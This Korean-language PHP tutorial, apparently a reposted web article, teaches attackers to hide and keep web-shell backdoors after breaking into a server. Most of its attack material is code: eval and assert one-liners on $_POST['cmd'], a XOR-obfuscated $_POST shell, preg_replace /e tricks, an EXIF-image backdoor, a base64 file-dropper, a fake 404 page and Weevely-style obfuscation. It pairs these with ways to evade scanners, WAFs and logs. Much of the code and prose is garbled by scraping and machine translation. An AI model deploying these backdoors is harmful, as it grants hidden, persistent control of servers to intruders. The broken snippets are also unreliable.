>백엔드 개발 >PHP 튜토리얼 >PHP 백도어 숨기기 및 유지 관리 기술

PHP 백도어 숨기기 및 유지 관리 기술

WBOY
WBOY원래의
2016-08-08 09:21:231425검색

테스트에 성공한 후에는 일반적으로 권한을 더 오랫동안 유지하고 싶을 것입니다. 백도어를 떠나는 작업은 일반적으로 데이터베이스 권한, 웹 권한 및 시스템 사용자를 포함하지만 이에 국한되지는 않습니다. 등. 이 기사에서는 폭스바겐의 백도어에 숨겨진 몇 가지 아이디어를 대중화할 것입니다.

AD:

0×00 서문

테스트에 성공하고 나면 일반적으로 권한을 더 오래 유지하고 싶은 것이 백도어를 떠나는 작업인 것 같습니다. 매우 중요합니다. 일반적으로 배포되는 백도어에는 데이터베이스 권한, 웹 권한, 시스템 사용자 권한 등이 포함되지만 이에 국한되지는 않습니다. 이 기사에서는 공개 백도어에 숨겨진 몇 가지 아이디어를 대중화할 것입니다. 🎜>PHP-WEBBACKDOOR를 예로 들어 다른 사람들에게 영감을 주세요

가장 일반적인 한 문장 백도어는 다음과 같이 작성할 수 있습니다

eval(

$ _POST[

'cmd']);?>

  1. 또는 이
  2. $_POST[

    'cmd']);?>

    1. 물론 이는 For information이라는 함수만 다릅니다. PHP에 의해 비활성화된 기능에 대해서는 php.ini에서 검색: 비활성화_함수를 참조하십시오.그러나 운영 및 유지 관리를 위해
    과 같이 직관적으로 쉘을 찾을 수 있는 여러 가지 방법이 있습니다. Exception 발견 파일명/수정시간/크기, 파일 백업 비교

    ◆Scanbackdoor.php/Pecker/shellDetect.php 등 WEBSHELL 백도어 스캐닝 스크립트와 각종 스캐너 등을 통해 백도어를 발견합니다.

    ◆Access.log 접속 로그를 통해 백도어 발견

    ◆ 또는 WAF에 의해 테스트 문장이 차단되고 경고 로그가 전송되는 등의 현상이 발생합니다.

    일반적인 탐지 방법 중 셸을 숨기기 위한 일반적인 방법은 다음 7가지로 정리

    0×01 회피

    다양한 스캐닝 백도어 코드를 살펴보면 누구나 알고 있는 키워드를 남겨두고 셸에서는 소리 지르는 것이 절대 허용되지 않습니다

    다음과 같은 일반적인 키워드:

    ◆시스템 명령 실행: system, passthru, shell_exec, exec, popen, proc_open

    ◆코드 실행: eval, Assert , call_user_func, base64_decode, gzinflate, gzuncompress, gzdecode, str_rot13

    ◆파일 포함: require, require_once, include, include_once, file_get_contents, file_put_contents, fputs, fwrite

    과거 $_POST[0]($_POST[1]) 친구가 명령을 실행하는 데 현명하게 사용했지만 안타깝게도 지금은 스캐너의 감지를 피하기가 어렵지만 모든 것이 변하고 있습니다. 그리고 구축 방법은 무궁무진합니다

    tudouya 동급생이 제공한 [FREEBUF 팁 구축](http://www.freebuf.com/articles/web/33824.html)

    @

    $_++;

    // $_ = 1
    1. $__=("#"^"|"); // $__ = _
    2. $__.=("."^"~"); // _P
    3. $__.=("/ "^"`"); // _PO
    4. $__.=("|"^"/"); // _POS
    5. $__.=("{"^" /"); // _POST
    6. ${$__}[!$_](${ $__}[$_])
    7. // $_POST[ 0]($_POST[1])
    8. ?> 건축세대는 물론 과하다 직관적으로 이렇게 쓰면 됩니다 $_++ ;
    9. $__=(
    "#"^

    "|").(

    "."^
      "~").(
    1. "/"^ "`").("|"^"/").( "{"^"/");@${$__}[!$_](${$__}[$_]);?> 그런 다음 일반적인 코드를 작성하여 위장하고 간단한 "안티 킬"을 입력합니다. 셸 샘플이 나타납니다올바르게 실행되며 일반 스캐너를 우회합니다. 이를 사용하여 새 임시 셸을 작성할 수도 있습니다.

    0×02 기능

    명령을 실행하기 위해 구문 기능을 사용하는 것도 흥미로운 방법입니다. 변수를 처리할 때 PHP 문법 기능을 빌려 큰따옴표 안의 데이터에 변수가 포함되어 있는지 분석합니다. 값)

    예:

    ${@

    eval( phpinfo())}

    {}는 다음을 구문 분석할 수 있습니다. 큰따옴표 안의 변수 내용, @오류를 유지하고 실행 계속

      그런 다음 숨겨진 백도어 구성을 시작할 수 있지만 여기 구조는 함수로 인한 명령 실행에 의존하려고 합니다. 그렇습니다. preg_replace
    1. "//e",
    $ _POST[

    'cmd'],

    "");?>

    1. 이 게임 플레이는 분명히 스캐너 목록에 의해 해킹되었으며 간단한 수정
      1. function funfunc($str){}
      2. echo preg_replace("/(.+?)/ies", 'funfunc("1")', $_POST["cmd"])
    2. ?>

    을(를) 실행했는데 찾을 수 없습니다

    실행 방법은 명확합니다. 정규 매칭 {${phpinfo()}}가 funfunc에 전달되면 해당 코드가 실행됩니다.

    1. funfunc("{${phpinfo() }} ")

    다른 방법

    1. "$arr="".$_GET[ 'cmd']."";");?>

    0×03 포함

    파일 포함은 누구나 시도해 본 방법이지만 포함을 위한 기술도 있습니다

    일반적인 파일 포함은 단순히 특정 txt 또는 jpg를 포함하는 포함일 수도 있고, 심지어 포함을 직접 남겨도 취약점이지만 스캐너도 쉽게 찾을 수 있고, 추가로 포함된 파일도 쉽게 찾을 수 있습니다

    이 스크립트를 보세요

    1.  if (@isset($_GET[content]))
    2. {
    3. ,'w')  file_put_contents(
    4. 'README',
    5. " @file_put_contents(
    6. 'README',
    7. $_GET[content],FILE_APPEND) fclose( $fp)
    8. 'README';}
    9. ?> 일부 문제를 해결합니다. 필요에 따라 필요한 쉘을 생성한 다음 포함할 수 있습니다.
    안타깝게도 file_put_contents와 같은 함수는 너무 민감하기 때문에 이를 통해 쉽게 찾을 수도 있습니다. 스캐닝

    쉘은 액세스로 생성되는 인코딩 생성을 통해 생성됩니다.

    fputs(

    fopen(

    base64_decode(

    'cGx1Z2luX20ucGhw'),w),
      base64_decode(
    1. 'PD9waHAgQGFzc2VydCgkX1BPU1RbJ2NtZCddKTs/Pg==')) ?> 은 일부 스캐너를 회피할 수 있지만 이 모드도 더욱 눈길을 끌고, 생성된 새 파일은 탐지되지 않도록 숨겨야 합니다.
    2. 의 물론 휴리스틱과 같은 새로운 개념은 고려되지 않습니다
    3. 이 방법이 요구 사항을 충족할 수 없으면 영리한 공격자가 다시 그림으로 돌아옵니다

    $exif=exif_read_data (

    './lol.jpg');preg_replace(

    $exif[

    '만들기'],
      $exif[
    1. '모델'],''); ?> 참고: 1 JPG 이미지의 EXIF에 숨겨진 백도어 이번에는 이미지 말을 생성하기 위해 더 이상 단순히 /b를 복사할 필요가 없습니다. 또한 preg_replace 실행 파일의 특정 플래그를 빌릴 수도 있습니다.

      여기 정의되지 않은 함수를 호출하라는 메시지가 표시될 수 있습니다.

      에 이어 이 이미지 백도어는 preg_replace e 매개변수에 의존하고, PHP의 변수 구문 분석 실행에 의존하며, 마지막으로 파일 식별에 의존하여 이미지를 완성합니다. 쉘 어셈블리는 숨겨진 백도어를 처음 접하는 사람들에게 작은 알림입니다

      물론 포함 지점이 있는 한 포함 파일의 형식은 error_log를 포함하여 다양합니다(필요할 수도 있지만). 폐쇄를 고려), 예상치 못한 일만 있을 뿐입니다…

      0×04 Hidden

      방문자들이 백도어의 존재를 알아차리지 못하도록 영리한 보안 연구원들도 상황을 혼란스럽게 할 것입니다

      1. "-//IETF//DTD HTML 2.0//EN"> > 404 찾을 수 없음 🎜>
      2. / h1>
      3. 요청한 URL을 이 서버에서 찾을 수 없습니다.

        > 🎜>
      4. @preg_replace(
      5. "/[checksql]/e",
      6. $_POST[
      7. 'cmd'],
      8. "saft" ; 🎜>
      9. 그러나 많은 수의 로그에서 더 잘 숨길 수는 없습니다.
      10. & lt;? php
      11. 헤더 (<🎜 🎜> 'http/1.1 404'), 'cgx1z2lux20ugghw'),
      12. base64_decode (<🎜 🎜> 'pd9wahgfzc2vydcgkx1bpu1rbj2ntzcdkts = cg.
      13. ob_end_clean() ?> real 404 네, 로그에도 마찬가지입니다

      그런데 지금 이 순간 연결하려는 스크립트가 현재 디렉토리에 생성되었습니다

      0×05 혼란

        Weevely 도구를 사용해 본 사람들은 이것이 생성하는 안티 킬 쉘이 다음과 같다는 것을 알아야 합니다
      1.  
      2. $kthe=
      3. "JGEpPjgiMpeyRrPSgidwcyc7ZWNobyAnPCcgiugiJGsuJz4nOgi2V2YWwoYgimFzZTY0X2giRlY2gi9kgiZShwcmVn"                   place("w",""," stwrw_wrwepwlwawcwe");
      4.                                                        
       

      $zrmt=

      "JGM9J2NvdWgi50JzskgiYT0gikX0NgiPT0tJRgiTtpZihyZXNldCgkYSk9PSgidvbycggiJgiiYgJGMo"; ftdf(

      "f", "",

      "bfafsfef6f4_fdfefcodfe" )

                                        >"lclrlelaltel_functlilon"); (
      1. $ftdf(
      2. "gi",
      3. "", $zrmt.$kthe.$wmmi.$penh))); $rdwm();
      4. 터미널에 연결하면 이런 모습입니다
      5. Ps: 터미널 코드를 바꾸는 걸 깜빡했어요 스크린샷:(킬을 피하는 방법 고정된 영역에서 임의의 이름 변수를 생성한 다음 str_replace를 사용하여 base64_decode를 결합하고 명령을 실행하는 프로세스 물론 이것은 더 많은 것입니다. 스캐너를 피하기 위해 코드 수준에서 일반적인 난독화 시청각 방법: ◆파일 시간 수정◆업로드 후 이름을 바꾸고 폴더에 통합하므로 파일 이상을 사람이 눈으로 볼 수 없도록
      6. ◆가짜 파일 크기 처리(적어도 크기는 일반 스크립트처럼 보이도록)◆숨겨진 경로를 선택하고 가능한 한 적게 방문하세요◆변형된 디렉터리 %20
      7. 공간 디렉터리는 아직 상대적으로 쉽습니다. 발견된
      8. 0×06 파싱
      9. .htaccess를 사용하여 구문 분석 백도어 추가 as:AddType application/x-httpd-php .jpg
      10. 위 내용은 어디까지나 예시입니다0 ×07 기타

        위의 방법을 요약하면 대부분은 취약점을 구축하는 과정에 지나지 않습니다. 취약점을 구축하는 코드는 백도어만큼 이상할 수도 있고, 섬세하고 우아하게 작성할 수도 있습니다. 간단하고 투박하지만 적용되는 상황은 다릅니다. 아이디어를 잘 통합할 수 있다면 자신만의 숨겨진 쉘을 구성하는 것은 어렵지 않습니다. 위 내용은 단지 경험을 요약한 것입니다. 여러분의 생각을 공유해 보세요.

        위 내용은 관련 내용을 포함하여 PHP 백도어 숨기기 및 유지 관리 기술을 소개하고 있으며, PHP 튜토리얼에 관심이 있는 친구들에게 도움이 되기를 바랍니다.

성명:
본 글의 내용은 네티즌들의 자발적인 기여로 작성되었으며, 저작권은 원저작자에게 있습니다. 본 사이트는 이에 상응하는 법적 책임을 지지 않습니다. 표절이나 침해가 의심되는 콘텐츠를 발견한 경우 admin@php.cn으로 문의하세요.